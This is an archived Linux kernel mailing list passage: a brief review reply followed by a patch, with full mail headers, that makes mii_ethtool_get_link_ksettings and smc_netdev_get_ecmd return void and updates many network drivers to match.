         :in-reply-to:content-transfer-encoding;
        bh=S9/NmmRwv7swU7+xo6Sf0Eejjo9uUjRuuUkUSndd1OE=;
        b=V8kVzXvHmg1QzmUdgU/nnrvxpd7UUXp9EMqpUqY2s31+rXNbGz4yHt2PmLkjmy3IOT
         TeiKc/GyCPSzlI6fjL403cFasUs6e6J0HL0pMUyFOrTX1DjarHbfK8Nc8oUA8stRTdfR
         h3EtctOFqN8fXZ3kKZDuLVIPJXp+DWSdaxqc1WD4r790Q/FPsNk4mb2Nk4rFte29wccB
         GEUq3HoSMFdS0+6ehIoXCCipaKzmoMzIRDotcW08f2ajhqrUBbFhqFbrl0uwum8IhMcA
         3QyV1pK881oN0pSN99TXACyt/VjmPIMZpZ69lHQZodn/N4QiV1q5OI+g0qExdtZU6ZyB
         bt1g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=S9/NmmRwv7swU7+xo6Sf0Eejjo9uUjRuuUkUSndd1OE=;
        b=IB9vshqgRD7esOGrC/VtjHe6aFUcJPzG1C1MVc8yEmauediCbzcJ1DiZuN4p0C5RvW
         X6FxUY/Nnc5VbQ+eN0ru7dLNt6ryhJ8/nzJtGG/yX/HImgwKfY9DdTXNdLHU1HVqa29y
         XQWEZbAQQ2eOE/BNLV9C9LGJnpn0nS6LBvVHDqcbUNjyyuctzT1HWgNfDia8uFt3mAou
         VURe06FczjBF5IcNEJ1AkCQlMZ67IeWdxrmITfOU0azo/+xDiiv2F8CcWzeWkGDS844a
         9JodZSv8cgPDtG3yhw3IWAzs1Wii2mgwadUicNfR3GXHpBmID4dUCD1VXXmNUXWSrHA5
         5gxA==
X-Gm-Message-State: AODbwcAqhSNgKqtXvZDZgQxY0lfUcdE4SEMFp16JR7IIHI/NOiPulEUD
        sqbozE1vYmv20tX+tstJiw==
X-Received: by 10.25.210.6 with SMTP id j6mr4546356lfg.21.1496597048081;
        Sun, 04 Jun 2017 10:24:08 -0700 (PDT)
Original-Received: from [192.168.4.126] ([31.173.83.140])
        by smtp.gmail.com with ESMTPSA id 18sm6419816ljt.28.2017.06.04.10.24.06
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 04 Jun 2017 10:24:07 -0700 (PDT)
In-Reply-To: <4391c380-f7f6-d549-a225-716b9b9df664@cogentembedded.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27456 gmane.linux.network:474170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27456>

On 6/4/2017 8:22 PM, Sergei Shtylyov wrote:

>> Make return value void since function never return meaningfull value
>
>   You only make 1 of 2 functions void. It looks like there should be 2 patches.

    Oh, sorry, I was just blind. B-)

MBR, Sergei

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Yuval Shaia <yuval.shaia@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.usb.general
Subject: [PATCH] net/{mii,
 smsc}: Make mii_ethtool_get_link_ksettings and smc_netdev_get_ecmd
 return void
Date: Sun,  4 Jun 2017 20:22:00 +0300
Lines: 631
Approved: news@gmane.org
Message-ID: <20170604172200.4177-1-yuval.shaia@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496597084 4047 195.159.176.226 (4 Jun 2017 17:24:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 4 Jun 2017 17:24:44 +0000 (UTC)
To: klassert@mathematik.tu-chemnitz.de, pcnet32@frontier.com,
 hsweeten@visionengravers.com, jeffrey.t.kirsher@intel.com,
 cooldavid@cooldavid.org, mcuos.com@gmail.com, nic_swsd@realtek.com,
 ralf@linux-mips.org, romieu@fr.zoreil.com, nico@fluxnic.net,
 oneukum@suse.com, davem@davemloft.net, tremyfr@gmail.com,
 paul.gortmaker@windriver.com, yuval.shaia@oracle.com, jarod@redhat.com,
 green.hu@gmail.com, f.fainelli@gmail.com, edumazet@google.com,
 shchers@gmail.com, stephen.boyd@linaro.org,
 fgao@48lvckh6395k16k5.yundunddos.com, tklauser@distanz.ch,
 jay.vosburgh@canonical.com, robert.jarzmik@free.fr,
 jeremy.linton@arm.com, rmk+kernel@armlinux.org.uk,
 stephen@networkplumber.org, arnd@arndb.de, gerg@linux-m68k.org,
 allan@asix.com.tw, chris.roth@usask.ca, hayeswang@realtek.com,
 mario_limonciello@dell.com, netdev@vger.kernel.org,
 linux-parisc@vger.kernel.org, intel-wired-lan@lists.osuosl
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Sun Jun 04 19:24:35 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1dHZGV-0000OA-BT
	for linux-arm-kernel@m.gmane.org; Sun, 04 Jun 2017 19:24:35 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:List-Subscribe:List-Help:
	List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description:Resent-Date:Resent-From:
	Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:
	List-Owner; bh=wdxaIhY6DeQi/fNHHENtOruvdmjQ0iciC1TcNAfTsjM=; b=lvCj96FySmIsXU
	hV3h2jXqbWjFr3xlbsKRTT3x3coIdKsKttuI5WD1/ucxpcnIDVzjRjQbzSNXofvmQnJLSKPYqyz4V
	XJbPToBpiileaeBYiqAYxomdctl6QllO257Dd/VOK3IEiJyynMbwkyft/5HujUO5hhMhjcU6i2egj
	KOn9jsRBopAu16NBOQRaCvbJ1PQ5T8yO+NSYGuSsjtMo6nO7obh42Rg9ZpNYl4FmMefeX/8aM+BSv
	0Qid9NKAcq6jcG9HfJxpUMk4MJ6oRJAPG0rNG1cHz2dlarrNgoHu2VRuHNRra3RzrV4c84r9BmYyR
	zX5WjPlRqij8X/stWi8A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dHZGV-0004Pa-Vw; Sun, 04 Jun 2017 17:24:36 +0000
Original-Received: from aserp1040.oracle.com ([141.146.126.69])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dHZGR-0004O5-5N
 for linux-arm-kernel@lists.infradead.org; Sun, 04 Jun 2017 17:24:34 +0000
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
 by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id
 v54HMeoH021403
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Sun, 4 Jun 2017 17:22:41 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
 by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v54HMVpW026719
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
 Sun, 4 Jun 2017 17:22:31 GMT
Original-Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25])
 by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id v54HMGlV032078;
 Sun, 4 Jun 2017 17:22:19 GMT
Original-Received: from localhost.localdomain (/77.138.186.148)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Sun, 04 Jun 2017 10:22:15 -0700
X-Mailer: git-send-email 2.9.4
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170604_102431_701126_87FBAE29 
X-CRM114-Status: GOOD (  10.78  )
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:582119 gmane.linux.network:474171 gmane.linux.ports.parisc:27457 gmane.linux.ports.mips.general:59380 gmane.linux.usb.general:159159
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/582119>

Make return value void since functions never returns meaningfull value.

Signed-off-by: Yuval Shaia <yuval.shaia@oracle.com>
---
 drivers/net/cris/eth_v10.c                              |  5 ++---
 drivers/net/ethernet/3com/3c59x.c                       |  4 +++-
 drivers/net/ethernet/amd/pcnet32.c                      |  5 +----
 drivers/net/ethernet/cirrus/ep93xx_eth.c                |  5 ++++-
 drivers/net/ethernet/dec/tulip/winbond-840.c            |  5 ++---
 drivers/net/ethernet/faraday/ftmac100.c                 |  5 ++++-
 drivers/net/ethernet/fealnx.c                           |  5 ++---
 drivers/net/ethernet/intel/e100.c                       |  5 ++++-
 drivers/net/ethernet/jme.c                              |  5 ++---
 drivers/net/ethernet/korina.c                           |  5 ++---
 drivers/net/ethernet/micrel/ks8851.c                    |  5 ++++-
 drivers/net/ethernet/micrel/ks8851_mll.c                |  5 ++++-
 drivers/net/ethernet/nuvoton/w90p910_ether.c            |  5 ++++-
 drivers/net/ethernet/oki-semi/pch_gbe/pch_gbe_ethtool.c |  6 +++---
 drivers/net/ethernet/realtek/8139cp.c                   |  5 ++---
 drivers/net/ethernet/realtek/r8169.c                    |  4 +++-
 drivers/net/ethernet/sgi/ioc3-eth.c                     |  5 ++---
 drivers/net/ethernet/sis/sis190.c                       |  4 +++-
 drivers/net/ethernet/smsc/epic100.c                     |  5 ++---
 drivers/net/ethernet/smsc/smc911x.c                     |  7 +++----
 drivers/net/ethernet/smsc/smc91c92_cs.c                 | 13 +++++--------
 drivers/net/ethernet/smsc/smc91x.c                      |  7 ++-----
 drivers/net/ethernet/tundra/tsi108_eth.c                |  5 ++---
 drivers/net/ethernet/via/via-rhine.c                    |  5 ++---
 drivers/net/mii.c                                       |  8 ++------
 drivers/net/usb/ax88179_178a.c                          |  5 ++++-
 drivers/net/usb/r8152.c                                 |  2 +-
 drivers/net/usb/usbnet.c                                |  4 +++-
 include/linux/mii.h                                     |  2 +-
 29 files changed, 78 insertions(+), 73 deletions(-)

diff --git a/drivers/net/cris/eth_v10.c b/drivers/net/cris/eth_v10.c
index da02041..017f48c 100644
--- a/drivers/net/cris/eth_v10.c
+++ b/drivers/net/cris/eth_v10.c
@@ -1417,10 +1417,9 @@ static int e100_get_link_ksettings(struct net_device *dev,
 {
 	struct net_local *np = netdev_priv(dev);
 	u32 supported;
-	int err;
 
 	spin_lock_irq(&np->lock);
-	err = mii_ethtool_get_link_ksettings(&np->mii_if, cmd);
+	mii_ethtool_get_link_ksettings(&np->mii_if, cmd);
 	spin_unlock_irq(&np->lock);
 
 	/* The PHY may support 1000baseT, but the Etrax100 does not.  */
@@ -1432,7 +1431,7 @@ static int e100_get_link_ksettings(struct net_device *dev,
 	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.supported,
 						supported);
 
-	return err;
+	return 0;
 }
 
 static int e100_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/3com/3c59x.c b/drivers/net/ethernet/3com/3c59x.c
index e41245a..14cff60 100644
--- a/drivers/net/ethernet/3com/3c59x.c
+++ b/drivers/net/ethernet/3com/3c59x.c
@@ -2912,7 +2912,9 @@ static int vortex_get_link_ksettings(struct net_device *dev,
 {
 	struct vortex_private *vp = netdev_priv(dev);
 
-	return mii_ethtool_get_link_ksettings(&vp->mii, cmd);
+	mii_ethtool_get_link_ksettings(&vp->mii, cmd);
+
+	return 0;
 }
 
 static int vortex_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/amd/pcnet32.c b/drivers/net/ethernet/amd/pcnet32.c
index 86369d7..7f60d17 100644
--- a/drivers/net/ethernet/amd/pcnet32.c
+++ b/drivers/net/ethernet/amd/pcnet32.c
@@ -731,12 +731,10 @@ static int pcnet32_get_link_ksettings(struct net_device *dev,
 {
 	struct pcnet32_private *lp = netdev_priv(dev);
 	unsigned long flags;
-	int r = -EOPNOTSUPP;
 
 	spin_lock_irqsave(&lp->lock, flags);
 	if (lp->mii) {
 		mii_ethtool_get_link_ksettings(&lp->mii_if, cmd);
-		r = 0;
 	} else if (lp->chip_version == PCNET32_79C970A) {
 		if (lp->autoneg) {
 			cmd->base.autoneg = AUTONEG_ENABLE;
@@ -753,10 +751,9 @@ static int pcnet32_get_link_ksettings(struct net_device *dev,
 		ethtool_convert_legacy_u32_to_link_mode(
 						cmd->link_modes.supported,
 						SUPPORTED_TP | SUPPORTED_AUI);
-		r = 0;
 	}
 	spin_unlock_irqrestore(&lp->lock, flags);
-	return r;
+	return 0;
 }
 
 static int pcnet32_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/cirrus/ep93xx_eth.c b/drivers/net/ethernet/cirrus/ep93xx_eth.c
index 7a7c02f..e2a7029 100644
--- a/drivers/net/ethernet/cirrus/ep93xx_eth.c
+++ b/drivers/net/ethernet/cirrus/ep93xx_eth.c
@@ -702,7 +702,10 @@ static int ep93xx_get_link_ksettings(struct net_device *dev,
 				     struct ethtool_link_ksettings *cmd)
 {
 	struct ep93xx_priv *ep = netdev_priv(dev);
-	return mii_ethtool_get_link_ksettings(&ep->mii, cmd);
+
+	mii_ethtool_get_link_ksettings(&ep->mii, cmd);
+
+	return 0;
 }
 
 static int ep93xx_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/dec/tulip/winbond-840.c b/drivers/net/ethernet/dec/tulip/winbond-840.c
index d1f2f3c..32d7229 100644
--- a/drivers/net/ethernet/dec/tulip/winbond-840.c
+++ b/drivers/net/ethernet/dec/tulip/winbond-840.c
@@ -1395,13 +1395,12 @@ static int netdev_get_link_ksettings(struct net_device *dev,
 				     struct ethtool_link_ksettings *cmd)
 {
 	struct netdev_private *np = netdev_priv(dev);
-	int rc;
 
 	spin_lock_irq(&np->lock);
-	rc = mii_ethtool_get_link_ksettings(&np->mii_if, cmd);
+	mii_ethtool_get_link_ksettings(&np->mii_if, cmd);
 	spin_unlock_irq(&np->lock);
 
-	return rc;
+	return 0;
 }
 
 static int netdev_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/faraday/ftmac100.c b/drivers/net/ethernet/faraday/ftmac100.c
index 1536356..66928a9 100644
--- a/drivers/net/ethernet/faraday/ftmac100.c
+++ b/drivers/net/ethernet/faraday/ftmac100.c
@@ -829,7 +829,10 @@ static int ftmac100_get_link_ksettings(struct net_device *netdev,
 				       struct ethtool_link_ksettings *cmd)
 {
 	struct ftmac100 *priv = netdev_priv(netdev);
-	return mii_ethtool_get_link_ksettings(&priv->mii, cmd);
+
+	mii_ethtool_get_link_ksettings(&priv->mii, cmd);
+
+	return 0;
 }
 
 static int ftmac100_set_link_ksettings(struct net_device *netdev,
diff --git a/drivers/net/ethernet/fealnx.c b/drivers/net/ethernet/fealnx.c
index 766636a..610f9c0 100644
--- a/drivers/net/ethernet/fealnx.c
+++ b/drivers/net/ethernet/fealnx.c
@@ -1821,13 +1821,12 @@ static int netdev_get_link_ksettings(struct net_device *dev,
 				     struct ethtool_link_ksettings *cmd)
 {
 	struct netdev_private *np = netdev_priv(dev);
-	int rc;
 
 	spin_lock_irq(&np->lock);
-	rc = mii_ethtool_get_link_ksettings(&np->mii, cmd);
+	mii_ethtool_get_link_ksettings(&np->mii, cmd);
 	spin_unlock_irq(&np->lock);
 
-	return rc;
+	return 0;
 }
 
 static int netdev_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/intel/e100.c b/drivers/net/ethernet/intel/e100.c
index 2b7323d..4d10270 100644
--- a/drivers/net/ethernet/intel/e100.c
+++ b/drivers/net/ethernet/intel/e100.c
@@ -2430,7 +2430,10 @@ static int e100_get_link_ksettings(struct net_device *netdev,
 				   struct ethtool_link_ksettings *cmd)
 {
 	struct nic *nic = netdev_priv(netdev);
-	return mii_ethtool_get_link_ksettings(&nic->mii, cmd);
+
+	mii_ethtool_get_link_ksettings(&nic->mii, cmd);
+
+	return 0;
 }
 
 static int e100_set_link_ksettings(struct net_device *netdev,
diff --git a/drivers/net/ethernet/jme.c b/drivers/net/ethernet/jme.c
index f580b49..a70440b 100644
--- a/drivers/net/ethernet/jme.c
+++ b/drivers/net/ethernet/jme.c
@@ -2652,12 +2652,11 @@ jme_get_link_ksettings(struct net_device *netdev,
 		       struct ethtool_link_ksettings *cmd)
 {
 	struct jme_adapter *jme = netdev_priv(netdev);
-	int rc;
 
 	spin_lock_bh(&jme->phy_lock);
-	rc = mii_ethtool_get_link_ksettings(&jme->mii_if, cmd);
+	mii_ethtool_get_link_ksettings(&jme->mii_if, cmd);
 	spin_unlock_bh(&jme->phy_lock);
-	return rc;
+	return 0;
 }
 
 static int
diff --git a/drivers/net/ethernet/korina.c b/drivers/net/ethernet/korina.c
index 9fae98c..3c0a645 100644
--- a/drivers/net/ethernet/korina.c
+++ b/drivers/net/ethernet/korina.c
@@ -699,13 +699,12 @@ static int netdev_get_link_ksettings(struct net_device *dev,
 				     struct ethtool_link_ksettings *cmd)
 {
 	struct korina_private *lp = netdev_priv(dev);
-	int rc;
 
 	spin_lock_irq(&lp->lock);
-	rc = mii_ethtool_get_link_ksettings(&lp->mii_if, cmd);
+	mii_ethtool_get_link_ksettings(&lp->mii_if, cmd);
 	spin_unlock_irq(&lp->lock);
 
-	return rc;
+	return 0;
 }
 
 static int netdev_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/micrel/ks8851.c b/drivers/net/ethernet/micrel/ks8851.c
index 20358f8..2fe96f1 100644
--- a/drivers/net/ethernet/micrel/ks8851.c
+++ b/drivers/net/ethernet/micrel/ks8851.c
@@ -1071,7 +1071,10 @@ static int ks8851_get_link_ksettings(struct net_device *dev,
 				     struct ethtool_link_ksettings *cmd)
 {
 	struct ks8851_net *ks = netdev_priv(dev);
-	return mii_ethtool_get_link_ksettings(&ks->mii, cmd);
+
+	mii_ethtool_get_link_ksettings(&ks->mii, cmd);
+
+	return 0;
 }
 
 static int ks8851_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/micrel/ks8851_mll.c b/drivers/net/ethernet/micrel/ks8851_mll.c
index 7647f7b..f3e9dd4 100644
--- a/drivers/net/ethernet/micrel/ks8851_mll.c
+++ b/drivers/net/ethernet/micrel/ks8851_mll.c
@@ -1315,7 +1315,10 @@ static int ks_get_link_ksettings(struct net_device *netdev,
 				 struct ethtool_link_ksettings *cmd)
 {
 	struct ks_net *ks = netdev_priv(netdev);
-	return mii_ethtool_get_link_ksettings(&ks->mii, cmd);
+
+	mii_ethtool_get_link_ksettings(&ks->mii, cmd);
+
+	return 0;
 }
 
 static int ks_set_link_ksettings(struct net_device *netdev,
diff --git a/drivers/net/ethernet/nuvoton/w90p910_ether.c b/drivers/net/ethernet/nuvoton/w90p910_ether.c
index 159564d..89ab786 100644
--- a/drivers/net/ethernet/nuvoton/w90p910_ether.c
+++ b/drivers/net/ethernet/nuvoton/w90p910_ether.c
@@ -868,7 +868,10 @@ static int w90p910_get_link_ksettings(struct net_device *dev,
 				      struct ethtool_link_ksettings *cmd)
 {
 	struct w90p910_ether *ether = netdev_priv(dev);
-	return mii_ethtool_get_link_ksettings(&ether->mii, cmd);
+
+	mii_ethtool_get_link_ksettings(&ether->mii, cmd);
+
+	return 0;
 }
 
 static int w90p910_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/oki-semi/pch_gbe/pch_gbe_ethtool.c b/drivers/net/ethernet/oki-semi/pch_gbe/pch_gbe_ethtool.c
index 2109327..731ce1e 100644
--- a/drivers/net/ethernet/oki-semi/pch_gbe/pch_gbe_ethtool.c
+++ b/drivers/net/ethernet/oki-semi/pch_gbe/pch_gbe_ethtool.c
@@ -85,9 +85,8 @@ static int pch_gbe_get_link_ksettings(struct net_device *netdev,
 {
 	struct pch_gbe_adapter *adapter = netdev_priv(netdev);
 	u32 supported, advertising;
-	int ret;
 
-	ret = mii_ethtool_get_link_ksettings(&adapter->mii, ecmd);
+	mii_ethtool_get_link_ksettings(&adapter->mii, ecmd);
 
 	ethtool_convert_link_mode_to_legacy_u32(&supported,
 						ecmd->link_modes.supported);
@@ -104,7 +103,8 @@ static int pch_gbe_get_link_ksettings(struct net_device *netdev,
 
 	if (!netif_carrier_ok(adapter->netdev))
 		ecmd->base.speed = SPEED_UNKNOWN;
-	return ret;
+
+	return 0;
 }
 
 /**
diff --git a/drivers/net/ethernet/realtek/8139cp.c b/drivers/net/ethernet/realtek/8139cp.c
index 72233ab..e7ab23e 100644
--- a/drivers/net/ethernet/realtek/8139cp.c
+++ b/drivers/net/ethernet/realtek/8139cp.c
@@ -1410,14 +1410,13 @@ static int cp_get_link_ksettings(struct net_device *dev,
 				 struct ethtool_link_ksettings *cmd)
 {
 	struct cp_private *cp = netdev_priv(dev);
-	int rc;
 	unsigned long flags;
 
 	spin_lock_irqsave(&cp->lock, flags);
-	rc = mii_ethtool_get_link_ksettings(&cp->mii_if, cmd);
+	mii_ethtool_get_link_ksettings(&cp->mii_if, cmd);
 	spin_unlock_irqrestore(&cp->lock, flags);
 
-	return rc;
+	return 0;
 }
 
 static int cp_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/realtek/r8169.c b/drivers/net/ethernet/realtek/r8169.c
index 0a8f281..bd07a15 100644
--- a/drivers/net/ethernet/realtek/r8169.c
+++ b/drivers/net/ethernet/realtek/r8169.c
@@ -2148,7 +2148,9 @@ static int rtl8169_get_link_ksettings_xmii(struct net_device *dev,
 {
 	struct rtl8169_private *tp = netdev_priv(dev);
 
-	return mii_ethtool_get_link_ksettings(&tp->mii, cmd);
+	mii_ethtool_get_link_ksettings(&tp->mii, cmd);
+
+	return 0;
 }
 
 static int rtl8169_get_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/sgi/ioc3-eth.c b/drivers/net/ethernet/sgi/ioc3-eth.c
index 52ead55..b607936 100644
--- a/drivers/net/ethernet/sgi/ioc3-eth.c
+++ b/drivers/net/ethernet/sgi/ioc3-eth.c
@@ -1562,13 +1562,12 @@ static int ioc3_get_link_ksettings(struct net_device *dev,
 				   struct ethtool_link_ksettings *cmd)
 {
 	struct ioc3_private *ip = netdev_priv(dev);
-	int rc;
 
 	spin_lock_irq(&ip->ioc3_lock);
-	rc = mii_ethtool_get_link_ksettings(&ip->mii, cmd);
+	mii_ethtool_get_link_ksettings(&ip->mii, cmd);
 	spin_unlock_irq(&ip->ioc3_lock);
 
-	return rc;
+	return 0;
 }
 
 static int ioc3_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/sis/sis190.c b/drivers/net/ethernet/sis/sis190.c
index 02da106..445109b 100644
--- a/drivers/net/ethernet/sis/sis190.c
+++ b/drivers/net/ethernet/sis/sis190.c
@@ -1739,7 +1739,9 @@ static int sis190_get_link_ksettings(struct net_device *dev,
 {
 	struct sis190_private *tp = netdev_priv(dev);
 
-	return mii_ethtool_get_link_ksettings(&tp->mii_if, cmd);
+	mii_ethtool_get_link_ksettings(&tp->mii_if, cmd);
+
+	return 0;
 }
 
 static int sis190_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/smsc/epic100.c b/drivers/net/ethernet/smsc/epic100.c
index db6dcb0..6a0e1d4 100644
--- a/drivers/net/ethernet/smsc/epic100.c
+++ b/drivers/net/ethernet/smsc/epic100.c
@@ -1391,13 +1391,12 @@ static int netdev_get_link_ksettings(struct net_device *dev,
 				     struct ethtool_link_ksettings *cmd)
 {
 	struct epic_private *np = netdev_priv(dev);
-	int rc;
 
 	spin_lock_irq(&np->lock);
-	rc = mii_ethtool_get_link_ksettings(&np->mii, cmd);
+	mii_ethtool_get_link_ksettings(&np->mii, cmd);
 	spin_unlock_irq(&np->lock);
 
-	return rc;
+	return 0;
 }
 
 static int netdev_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/smsc/smc911x.c b/drivers/net/ethernet/smsc/smc911x.c
index 36307d3..0515744 100644
--- a/drivers/net/ethernet/smsc/smc911x.c
+++ b/drivers/net/ethernet/smsc/smc911x.c
@@ -1450,7 +1450,7 @@ smc911x_ethtool_get_link_ksettings(struct net_device *dev,
 				   struct ethtool_link_ksettings *cmd)
 {
 	struct smc911x_local *lp = netdev_priv(dev);
-	int ret, status;
+	int status;
 	unsigned long flags;
 	u32 supported;
 
@@ -1458,7 +1458,7 @@ smc911x_ethtool_get_link_ksettings(struct net_device *dev,
 
 	if (lp->phy_type != 0) {
 		spin_lock_irqsave(&lp->lock, flags);
-		ret = mii_ethtool_get_link_ksettings(&lp->mii, cmd);
+		mii_ethtool_get_link_ksettings(&lp->mii, cmd);
 		spin_unlock_irqrestore(&lp->lock, flags);
 	} else {
 		supported = SUPPORTED_10baseT_Half |
@@ -1480,10 +1480,9 @@ smc911x_ethtool_get_link_ksettings(struct net_device *dev,
 		ethtool_convert_legacy_u32_to_link_mode(
 			cmd->link_modes.supported, supported);
 
-		ret = 0;
 	}
 
-	return ret;
+	return 0;
 }
 
 static int
diff --git a/drivers/net/ethernet/smsc/smc91c92_cs.c b/drivers/net/ethernet/smsc/smc91c92_cs.c
index 976aa87..92c927a 100644
--- a/drivers/net/ethernet/smsc/smc91c92_cs.c
+++ b/drivers/net/ethernet/smsc/smc91c92_cs.c
@@ -1843,8 +1843,8 @@ static int smc_link_ok(struct net_device *dev)
     }
 }
 
-static int smc_netdev_get_ecmd(struct net_device *dev,
-			       struct ethtool_link_ksettings *ecmd)
+static void smc_netdev_get_ecmd(struct net_device *dev,
+				struct ethtool_link_ksettings *ecmd)
 {
 	u16 tmp;
 	unsigned int ioaddr = dev->base_addr;
@@ -1865,8 +1865,6 @@ static int smc_netdev_get_ecmd(struct net_device *dev,
 
 	ethtool_convert_legacy_u32_to_link_mode(ecmd->link_modes.supported,
 						supported);
-
-	return 0;
 }
 
 static int smc_netdev_set_ecmd(struct net_device *dev,
@@ -1918,18 +1916,17 @@ static int smc_get_link_ksettings(struct net_device *dev,
 	struct smc_private *smc = netdev_priv(dev);
 	unsigned int ioaddr = dev->base_addr;
 	u16 saved_bank = inw(ioaddr + BANK_SELECT);
-	int ret;
 	unsigned long flags;
 
 	spin_lock_irqsave(&smc->lock, flags);
 	SMC_SELECT_BANK(3);
 	if (smc->cfg & CFG_MII_SELECT)
-		ret = mii_ethtool_get_link_ksettings(&smc->mii_if, ecmd);
+		mii_ethtool_get_link_ksettings(&smc->mii_if, ecmd);
 	else
-		ret = smc_netdev_get_ecmd(dev, ecmd);
+		smc_netdev_get_ecmd(dev, ecmd);
 	SMC_SELECT_BANK(saved_bank);
 	spin_unlock_irqrestore(&smc->lock, flags);
-	return ret;
+	return 0;
 }
 
 static int smc_set_link_ksettings(struct net_device *dev,
diff --git a/drivers/net/ethernet/smsc/smc91x.c b/drivers/net/ethernet/smsc/smc91x.c
index 91e9bd7..0d230b1 100644
--- a/drivers/net/ethernet/smsc/smc91x.c
+++ b/drivers/net/ethernet/smsc/smc91x.c
@@ -1539,11 +1539,10 @@ smc_ethtool_get_link_ksettings(struct net_device *dev,
 			       struct ethtool_link_ksettings *cmd)
 {
 	struct smc_local *lp = netdev_priv(dev);
-	int ret;
 
 	if (lp->phy_type != 0) {
 		spin_lock_irq(&lp->lock);
-		ret = mii_ethtool_get_link_ksettings(&lp->mii, cmd);
+		mii_ethtool_get_link_ksettings(&lp->mii, cmd);
 		spin_unlock_irq(&lp->lock);
 	} else {
 		u32 supported = SUPPORTED_10baseT_Half |
@@ -1562,11 +1561,9 @@ smc_ethtool_get_link_ksettings(struct net_device *dev,
 
 		ethtool_convert_legacy_u32_to_link_mode(
 			cmd->link_modes.supported, supported);
-
-		ret = 0;
 	}
 
-	return ret;
+	return 0;
 }
 
 static int
